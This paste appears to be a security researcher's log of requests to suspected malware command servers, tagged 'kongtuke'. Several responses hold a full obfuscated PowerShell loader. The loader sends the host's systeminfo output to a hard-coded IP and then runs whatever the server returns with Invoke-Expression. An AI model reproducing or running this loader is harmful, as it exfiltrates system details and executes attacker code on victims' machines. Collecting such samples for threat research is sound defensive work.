Guest User

Untitled

a guest
Apr 9th, 2025
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.55 KB | Cybersecurity | 0 0
  1. 2025-04-09 18:03:01,498 - INFO - Script started
  2. 2025-04-09 18:03:01,498 - INFO - Using input file: ips.txt
  3. 2025-04-09 18:03:01,498 - INFO - Attempting request to: http://168.119.173.205:8080/1744236176
  4. 2025-04-09 18:03:01,915 - INFO - Response from http://168.119.173.205:8080/1744236176: Status 200
  5. 2025-04-09 18:03:01,927 - INFO - Response from http://168.119.173.205:8080/1744236176: # Garbage Variables
  6. $randomWord1 = "FluffyBunny"; $randomWord2 = "MysteriousCloud"; $randomWord3 = "SilentWhisper"; $randomWord4 = "GoldenSunrise";
  7. $garbageArray = @("Alpha", "Beta", "Gamma", "Delta", "Epsilon"); $garbageObject = @{ Key1 = "Value1"; Key2 = "Value2" };
  8.  
  9. # Base64 Encoding for Date
  10. $encodedDate = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('1970-1-1'));
  11. $decodedDate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedDate));
  12. $parsedDate = [System.DateTime]::Parse($decodedDate);
  13.  
  14. # Timestamp Calculation
  15. $timestamp = [int64](([System.DateTime]::UtcNow - $parsedDate).TotalSeconds) -band 0xfffffffffffffff0;
  16.  
  17. # IP Address Construction
  18. $ipPart1 = 168; $ipPart2 = 119; $ipPart3 = 173; $ipPart4 = 205;
  19. $serverIP = ('{0}.{1}.{2}.{3}' -f $ipPart1, $ipPart2, $ipPart3, $ipPart4);
  20. $serverPort = 8080;
  21.  
  22. # URL Construction
  23. $urlPath = "$serverIP`:$serverPort/$timestamp";
  24.  
  25. # System Information Retrieval
  26. function Get-SystemDetails {
  27. param ($command)
  28. return (& $command | Out-String)
  29. }
  30. $systemDetails = Get-SystemDetails -command { systeminfo };
  31.  
  32. # Content-Type Header
  33. $contentTypeHeader = 'application/octet-stream';
  34.  
  35. # HTTP POST Request
  36. $response = Invoke-RestMethod -Uri $urlPath -Method POST -Body $systemDetails -ContentType $contentTypeHeader;
  37.  
  38. # Execute Response
  39. Invoke-Expression $response;
  40.  
  41. # Massive Garbage Code Block
  42. for ($i = 0; $i -lt 100; $i++) {
  43. $null = [System.Math]::Sqrt($i); # Calculate square root
  44. $null = [System.Guid]::NewGuid(); # Generate random GUID
  45. $null = [System.Convert]::ToString($i, 16); # Convert to hexadecimal
  46. }
  47.  
  48. # More Garbage Code
  49. $garbageNumbers = @(1..500 | ForEach-Object { Get-Random -Minimum 1 -Maximum 1000 });
  50. foreach ($number in $garbageNumbers) {
  51. $null = [System.Convert]::ToString($number, 2); # Convert to binary
  52. $null = [System.Math]::Pow($number, 3); # Cube the number
  53. }
  54.  
  55. # Even More Garbage Code
  56. $uselessFunction = {
  57. param ($inputString)
  58. $reversedString = $inputString[-1..0] -join '';
  59. return $reversedString
  60. };
  61. $garbageResult = & $uselessFunction -inputString $randomWord1;
  62.  
  63. # Final Garbage Loop
  64. foreach ($item in $garbageArray) {
  65. $null = $item.ToUpper(); # Convert to uppercase
  66. $null = $item.ToLower(); # Convert to lowercase
  67. $null = $item.Length; # Get string length
  68. }
  69.  
  70. # End of Script
  71.  
  72. 2025-04-09 18:03:01,927 - INFO - Attempting request to: http://162.55.47.21:8080/1744236176
  73. 2025-04-09 18:03:13,974 - INFO - Response from http://162.55.47.21:8080/1744236176: Status 200
  74. 2025-04-09 18:03:13,974 - INFO - Response from http://162.55.47.21:8080/1744236176: << REMOVED >>
  75.  
  76. 2025-04-09 18:03:13,974 - INFO - Attempting request to: http://138.199.161.141:8090/1744236192
  77. 2025-04-09 18:03:14,090 - INFO - Response from http://138.199.161.141:8090/1744236192: Status 200
  78. 2025-04-09 18:03:14,095 - INFO - Response from http://138.199.161.141:8090/1744236192: # Garbage Variables
  79. $randomWord1 = "FluffyBunny"; $randomWord2 = "MysteriousCloud"; $randomWord3 = "SilentWhisper"; $randomWord4 = "GoldenSunrise";
  80. $garbageArray = @("Alpha", "Beta", "Gamma", "Delta", "Epsilon"); $garbageObject = @{ Key1 = "Value1"; Key2 = "Value2" };
  81.  
  82. # Base64 Encoding for Date
  83. $encodedDate = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('1970-1-1'));
  84. $decodedDate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedDate));
  85. $parsedDate = [System.DateTime]::Parse($decodedDate);
  86.  
  87. # Timestamp Calculation
  88. $timestamp = [int64](([System.DateTime]::UtcNow - $parsedDate).TotalSeconds) -band 0xfffffffffffffff0;
  89.  
  90. # IP Address Construction
  91. $ipPart1 = 138; $ipPart2 = 199; $ipPart3 = 161; $ipPart4 = 141;
  92. $serverIP = ('{0}.{1}.{2}.{3}' -f $ipPart1, $ipPart2, $ipPart3, $ipPart4);
  93. $serverPort = 8080;
  94.  
  95. # URL Construction
  96. $urlPath = "$serverIP`:$serverPort/$timestamp";
  97.  
  98. # System Information Retrieval
  99. function Get-SystemDetails {
  100. param ($command)
  101. return (& $command | Out-String)
  102. }
  103. $systemDetails = Get-SystemDetails -command { systeminfo };
  104.  
  105. # Content-Type Header
  106. $contentTypeHeader = 'application/octet-stream';
  107.  
  108. # HTTP POST Request
  109. $response = Invoke-RestMethod -Uri $urlPath -Method POST -Body $systemDetails -ContentType $contentTypeHeader;
  110.  
  111. # Execute Response
  112. Invoke-Expression $response;
  113.  
  114. # Massive Garbage Code Block
  115. for ($i = 0; $i -lt 100; $i++) {
  116. $null = [System.Math]::Sqrt($i); # Calculate square root
  117. $null = [System.Guid]::NewGuid(); # Generate random GUID
  118. $null = [System.Convert]::ToString($i, 16); # Convert to hexadecimal
  119. }
  120.  
  121. # More Garbage Code
  122. $garbageNumbers = @(1..500 | ForEach-Object { Get-Random -Minimum 1 -Maximum 1000 });
  123. foreach ($number in $garbageNumbers) {
  124. $null = [System.Convert]::ToString($number, 2); # Convert to binary
  125. $null = [System.Math]::Pow($number, 3); # Cube the number
  126. }
  127.  
  128. # Even More Garbage Code
  129. $uselessFunction = {
  130. param ($inputString)
  131. $reversedString = $inputString[-1..0] -join '';
  132. return $reversedString
  133. };
  134. $garbageResult = & $uselessFunction -inputString $randomWord1;
  135.  
  136. # Final Garbage Loop
  137. foreach ($item in $garbageArray) {
  138. $null = $item.ToUpper(); # Convert to uppercase
  139. $null = $item.ToLower(); # Convert to lowercase
  140. $null = $item.Length; # Get string length
  141. }
  142.  
  143. # End of Script
  144.  
  145. 2025-04-09 18:03:14,096 - INFO - Attempting request to: http://138.199.161.141:8080/1744236192
  146. 2025-04-09 18:03:14,211 - INFO - Response from http://138.199.161.141:8080/1744236192: Status 200
  147. 2025-04-09 18:03:14,211 - INFO - Response from http://138.199.161.141:8080/1744236192: iwr https://download.microsoft.com/download/9/3/f/93fcf1e7-e6a4-478b-96e7-d4b285925b00/vc_redist.x64.exe -out "$env:TMP/vc_redist.x64.exe"; & "$env:TMP/vc_redist.x64.exe"
  148. 2025-04-09 18:03:14,212 - INFO - Attempting request to: http://138.199.156.22:8080/1744236192
  149. 2025-04-09 18:03:14,621 - INFO - Response from http://138.199.156.22:8080/1744236192: Status 200
  150. 2025-04-09 18:03:14,622 - INFO - Response from http://138.199.156.22:8080/1744236192: iwr https://download.microsoft.com/download/9/3/f/93fcf1e7-e6a4-478b-96e7-d4b285925b00/vc_redist.x64.exe -out "$env:TMP/vc_redist.x64.exe"; & "$env:TMP/vc_redist.x64.exe"
  151. 2025-04-09 18:03:14,622 - INFO - Attempting request to: http://65.38.120.125:8080/1744236192
  152. 2025-04-09 18:03:14,750 - INFO - Response from http://65.38.120.125:8080/1744236192: Status 200
  153. 2025-04-09 18:03:14,750 - INFO - Response from http://65.38.120.125:8080/1744236192: iwr https://download.microsoft.com/download/9/3/f/93fcf1e7-e6a4-478b-96e7-d4b285925b00/vc_redist.x64.exe -out "$env:TMP/vc_redist.x64.exe"; & "$env:TMP/vc_redist.x64.exe"
  154. 2025-04-09 18:03:14,750 - INFO - Attempting request to: http://64.94.84.217:8080/1744236192
  155. 2025-04-09 18:03:15,043 - INFO - Response from http://64.94.84.217:8080/1744236192: Status 200
  156. 2025-04-09 18:03:15,044 - INFO - Response from http://64.94.84.217:8080/1744236192: iwr https://download.microsoft.com/download/9/3/f/93fcf1e7-e6a4-478b-96e7-d4b285925b00/vc_redist.x64.exe -out "$env:TMP/vc_redist.x64.exe"; & "$env:TMP/vc_redist.x64.exe"
  157. 2025-04-09 18:03:15,044 - INFO - Attempting request to: http://64.94.84.217:8090/1744236192
  158. 2025-04-09 18:03:15,334 - INFO - Response from http://64.94.84.217:8090/1744236192: Status 200
  159. 2025-04-09 18:03:15,339 - INFO - Response from http://64.94.84.217:8090/1744236192: # Garbage Variables
  160. $randomWord1 = "FluffyBunny"; $randomWord2 = "MysteriousCloud"; $randomWord3 = "SilentWhisper"; $randomWord4 = "GoldenSunrise";
  161. $garbageArray = @("Alpha", "Beta", "Gamma", "Delta", "Epsilon"); $garbageObject = @{ Key1 = "Value1"; Key2 = "Value2" };
  162.  
  163. # Base64 Encoding for Date
  164. $encodedDate = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('1970-1-1'));
  165. $decodedDate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encodedDate));
  166. $parsedDate = [System.DateTime]::Parse($decodedDate);
  167.  
  168. # Timestamp Calculation
  169. $timestamp = [int64](([System.DateTime]::UtcNow - $parsedDate).TotalSeconds) -band 0xfffffffffffffff0;
  170.  
  171. # IP Address Construction
  172. $ipPart1 = 64; $ipPart2 = 94; $ipPart3 = 84; $ipPart4 = 217;
  173. $serverIP = ('{0}.{1}.{2}.{3}' -f $ipPart1, $ipPart2, $ipPart3, $ipPart4);
  174. $serverPort = 8090;
  175.  
  176. # URL Construction
  177. $urlPath = "$serverIP`:$serverPort/$timestamp";
  178.  
  179. # System Information Retrieval
  180. function Get-SystemDetails {
  181. param ($command)
  182. return (& $command | Out-String)
  183. }
  184. $systemDetails = Get-SystemDetails -command { systeminfo };
  185.  
  186. # Content-Type Header
  187. $contentTypeHeader = 'application/octet-stream';
  188.  
  189. # HTTP POST Request
  190. $response = Invoke-RestMethod -Uri $urlPath -Method POST -Body $systemDetails -ContentType $contentTypeHeader;
  191.  
  192. # Execute Response
  193. Invoke-Expression $response;
  194.  
  195. # Massive Garbage Code Block
  196. for ($i = 0; $i -lt 100; $i++) {
  197. $null = [System.Math]::Sqrt($i); # Calculate square root
  198. $null = [System.Guid]::NewGuid(); # Generate random GUID
  199. $null = [System.Convert]::ToString($i, 16); # Convert to hexadecimal
  200. }
  201.  
  202. # More Garbage Code
  203. $garbageNumbers = @(1..500 | ForEach-Object { Get-Random -Minimum 1 -Maximum 1000 });
  204. foreach ($number in $garbageNumbers) {
  205. $null = [System.Convert]::ToString($number, 2); # Convert to binary
  206. $null = [System.Math]::Pow($number, 3); # Cube the number
  207. }
  208.  
  209. # Even More Garbage Code
  210. $uselessFunction = {
  211. param ($inputString)
  212. $reversedString = $inputString[-1..0] -join '';
  213. return $reversedString
  214. };
  215. $garbageResult = & $uselessFunction -inputString $randomWord1;
  216.  
  217. # Final Garbage Loop
  218. foreach ($item in $garbageArray) {
  219. $null = $item.ToUpper(); # Convert to uppercase
  220. $null = $item.ToLower(); # Convert to lowercase
  221. $null = $item.Length; # Get string length
  222. }
  223.  
  224. # End of Script
  225.  
  226. 2025-04-09 18:03:15,340 - INFO - Attempting request to: http://45.61.136.8:8080/1744236192
  227. 2025-04-09 18:03:16,937 - INFO - Response from http://45.61.136.8:8080/1744236192: Status 200
  228. 2025-04-09 18:03:16,937 - INFO - Response from http://45.61.136.8:8080/1744236192: iwr https://download.microsoft.com/download/9/3/f/93fcf1e7-e6a4-478b-96e7-d4b285925b00/vc_redist.x64.exe -out "$env:TMP/vc_redist.x64.exe"; & "$env:TMP/vc_redist.x64.exe"
  229. 2025-04-09 18:03:16,937 - INFO - Script completed
  230.  
Tags: kongtuke
Add Comment
Please, Sign In to add comment